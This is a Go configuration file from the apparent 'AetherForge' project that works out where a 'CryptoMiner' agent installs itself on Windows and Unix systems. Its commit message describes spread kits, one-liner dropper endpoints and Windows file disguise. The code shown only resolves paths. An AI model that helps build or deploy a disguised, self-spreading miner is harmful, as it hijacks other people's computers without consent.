Files
AetherForge/agent/config/install.go
drjones 0f9e04f5f6 Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
2026-05-29 20:53:13 -07:00

136 lines
3.2 KiB
Go

package config
import (
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
)
const DefaultInstallRelativePath = "CryptoMiner/{worker}-{build_short}"
func (c RuntimeConfig) InstallDirectory() (string, error) {
base, err := resolveInstallBase(c.InstallBase, c.InstallCustomBase)
if err != nil {
return "", err
}
rel := strings.TrimSpace(c.InstallRelativePath)
if rel == "" {
rel = DefaultInstallRelativePath
}
rel = expandInstallTokens(rel, c.WorkerName, c.BuildID, c.EffectiveProcessName())
rel = filepath.FromSlash(rel)
rel = strings.Trim(rel, `\/`)
if rel == "" {
return "", fmt.Errorf("install relative path resolved to empty")
}
full := filepath.Join(base, rel)
return filepath.Clean(full), nil
}
func resolveInstallBase(baseType, customBase string) (string, error) {
switch strings.ToLower(strings.TrimSpace(baseType)) {
case "", "localappdata":
if runtime.GOOS == "windows" {
return requireEnv("LOCALAPPDATA")
}
return xdgDataHome()
case "appdata":
if runtime.GOOS == "windows" {
return requireEnv("APPDATA")
}
return xdgDataHome()
case "programdata":
if runtime.GOOS == "windows" {
return requireEnv("ProgramData")
}
return xdgDataHome()
case "userprofile", "home":
if runtime.GOOS == "windows" {
return requireEnv("USERPROFILE")
}
return requireEnv("HOME")
case "xdg_data_home":
return xdgDataHome()
case "temp":
if v := os.Getenv("TEMP"); v != "" {
return v, nil
}
if v := os.Getenv("TMPDIR"); v != "" {
return v, nil
}
return requireEnv("TMP")
case "custom":
custom := strings.TrimSpace(customBase)
if custom == "" {
return "", fmt.Errorf("custom install base path is required when install_base is custom")
}
return expandEnvPath(custom), nil
default:
return "", fmt.Errorf("unsupported install base: %s", baseType)
}
}
func xdgDataHome() (string, error) {
if v := os.Getenv("XDG_DATA_HOME"); v != "" {
return v, nil
}
home, err := requireEnv("HOME")
if err != nil {
return "", err
}
return filepath.Join(home, ".local", "share"), nil
}
func expandInstallTokens(path, workerName, buildID, processName string) string {
shortBuild := buildID
if len(shortBuild) > 8 {
shortBuild = shortBuild[:8]
}
replacer := strings.NewReplacer(
"{worker}", sanitizePathToken(workerName),
"{build}", sanitizePathToken(buildID),
"{build_short}", sanitizePathToken(shortBuild),
"{process}", sanitizePathToken(processName),
)
return replacer.Replace(path)
}
func sanitizePathToken(name string) string {
replacer := strings.NewReplacer(
" ", "-", "/", "-", "\\", "-", ":", "-",
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
)
clean := replacer.Replace(strings.TrimSpace(name))
if clean == "" {
return "miner"
}
return clean
}
func requireEnv(key string) (string, error) {
value := os.Getenv(key)
if value == "" {
return "", fmt.Errorf("environment variable %s is not set", key)
}
return value, nil
}
func expandEnvPath(path string) string {
out := path
for _, key := range []string{
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
"HOME", "XDG_DATA_HOME", "TMPDIR",
} {
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
}
return out
}
func expandWindowsEnv(path string) string {
return expandEnvPath(path)
}